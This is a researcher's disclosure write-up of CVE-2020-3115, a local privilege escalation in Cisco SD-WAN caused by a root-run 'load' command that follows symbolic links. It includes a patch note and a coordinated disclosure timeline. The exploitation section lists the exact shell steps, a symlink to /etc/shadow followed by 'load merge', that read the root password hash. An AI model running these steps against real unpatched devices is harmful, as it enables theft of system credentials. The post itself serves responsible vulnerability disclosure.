CVE-2020-3115: Cisco SD-WAN Local Privilege Escalation
In this post, I detail how I discovered a local privilege escalation bug in Cisco’s SD-WAN solution due to insufficient input validation and excessive permissions.
Prior to this public disclosure, Cisco’s security team and I worked closely together from initial discovery until the release of their official advisory linked below:
Product Details
Cisco SD-WAN is a cloud-based solution that provides a centralised platform to manage and operate software-defined WAN infrastructure including physical and virtual vEdge routers. There are three main components that make-up the solution deployed as virtual machines:
- vManage: The centralised management hub providing a web-based GUI interface.
- vSmart Controllers: Implements policies such as configurations, access controls and routing information.
- vBond Orchestrator: Provides the overarching details on how all systems interconnect along with controlling authentication and authorisation elements for the network.
In addition to the vManage GUI, all devices can be configured and managed from the command-line known as the Viptela CLI, accessible over SSH. Viptela CLI has a similar feel to the standard Cisco IOS environment, however, it runs on-top of a Linux Operating System (OS).
Affected Product Version
Cisco SD-WAN vManage, vSmart and vBond devices running software release < 18.4.1.
High-Level Summary
The Viptela CLI provides a command-line environment to monitor and manage the SD-WAN devices. As a standard user, several commands are available to make configuration changes, monitor devices and/or perform troubleshooting. Under-the-hood, most of the Viptela CLI functions trigger through various scripts and tools resident on the Linux file system, under the context of the current user.
One particular command that is available is the load command. By design, this allows support users to load device configurations from a file within the users’ home directory. The Viptela CLI implements a control to ensure that files can only be loaded from the current users’ home directory. What I discovered was that the load script executes with root privileges within the OS and does not appropriately validate the user input. As a result, using symbolic links, it’s possible to bypass the home folder restrictions to read any file on the system as the root user.
As a proof of concept, the below example demonstrates how to read the /etc/shadow file which contains the hashed passwords of all users on the system. This same principle could be applied for any other file.
Vulnerability Exploitation
In this proof of concept, I’m connecting to a vManage device over SSH. After authentication, by default, users are locked within the Viptela CLI. As below, I run the vshell command which exits the Viptela CLI and loads a system shell. Here, I confirm that I’m a standard user (testuser) with no access to read the /etc/shadow file.
vManage# vshell
vManage:~$ id
uid=1009(testuser) gid=100(users) groups=100(users)
vManage:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
vManage:~$ exit
exit
vManage# file show /etc/shadow
cat: /etc/shadow: Permission denied
vManage#Going back to the Viptela CLI, the describe tool can be used to provide information relating to the various commands within the system. Using this allowed me to identify that the load command executes with root privileges.
vManage(config)# describe load
Common
Source : clispec
File : /etc/confd/vconfd-cli-backup.cclCallback [os command]
OS command : vconfd_script_backup.sh
Arguments : -cli, -operation, load, -user, $(user), -besteffort=$(best_effort)
Interrupt : ctrlc
Run as group : root
Run as user : rootHelp
Load configuration from an ASCII fileInfo
Load configuration from an ASCII file
From here, I attempted to load /etc/shadow however, the Viptela CLI restricts that files must be within the current users’ home directory.
vManage(config)# load merge /etc/shadow
Error: Invalid file name/path. File path must be in /home/testuser
Exit the configuration terminal and enter the vshell:
vManage(config)# exit
vManage#Linux symbolic links (soft links) are similar to Windows desktop shortcuts and can be useful when you need to bypass any sort of OS directory path restriction. They essentially link a source file to a destination directory or file.
A symbolic link is created with the syntax ln -s <destination> <source>
An empty file (lpe.txt) is created within my standard users’ home directory with a link to the /etc/shadow file.
vManage# vshell
vManage:~$ ln -s /etc/shadow lpe.txt
vManage:~$ ls -l
total 8
lrwxrwxrwx 1 testuser users 11 Aug 21 23:22 lpe.txt -> /etc/shadowNow I go back to the Viptela CLI and run the same load command, however this time I select the empty lpe.txt file within my home directory that is linked to /etc/shadow:
vManage:~$ exit
exit
vManage# config
Entering configuration mode terminal
vManage(config)# load merge lpe.txt
syntax error: unknown command
Error: on line 1: root:$6$<redacted>$<redacted>/<redacted>.<redacted>.<redacted>.:<redacted>:0:<redacted>:x:::
vManage(config)#As a result, the load command executing as root reads the lpe.txt file which redirects the command to /etc/shadow. As the contents of the shadow file do not conform to the required format of a vManage device, the command fails however the first line of the shadow file is reflected back within stderr revealing the root password hash.
Remediation
Cisco has patched the vulnerability with the release of Cisco SD-WAN software releases 18.4.302 and later. There are no recommended workarounds other than applying the latest updates.
Disclosure Timeline
22/08/2019: Cisco Product Security Incident Response Team (PSIRT) is notified.
23/08/2019: Cisco PSIRT team acknowledge vulnerability, open a case and internal bug tracking ID.
24/08/2019: Cisco assigns an incident manager; requests additional information. I send more details. Secondary Cisco incident manager request additional details to confirm this is not a duplicate.
27/08/2019: Cisco advises that an internal support team will be investigating the vulnerability.
28/08/2019: Cisco internal testing team requests further clarification of exploitation steps.
29/08/2019: Cisco requests a WebEx meeting to discuss vulnerability. Vulnerability confirmed. Patch estimated to release in November 2019. Discuss the potential for a 2020 advisory release due to the patch releasing close to the holiday period.
03/09/2019: Update from Cisco that a draft advisory is being written up.
05/09/2019: Cisco check if I’m OK with waiting until the new year for disclosure, given the release of the patch nearing an embargo period. They’re still waiting on internal teams to confirm patch status.
13/09/2019: Cisco report back saying fixes are still in progress and provide a draft advisory for review.
25/09/2019: Cisco confirm the patch will be released during a November 2019 update and that the advisory will be publicly disclosed January 8th 2020 (tentatively).
26/09/2019: Cisco confirm the fix has been committed to versions 18.4 and 19.2.
16/11/2019: Case is assigned to a new Cisco incident manager; advised progress is still on track.
05/12/2019: Cisco provide further clarity that the fixes were included as part of the 18.4.302 release. Advisory is still slated for a January 2020 release.
07/01/2020: Cisco confirm the public advisory will be release on 22nd January 2020 (US-time)
23/01/2020: Cisco publish security advisory of the vulnerability.
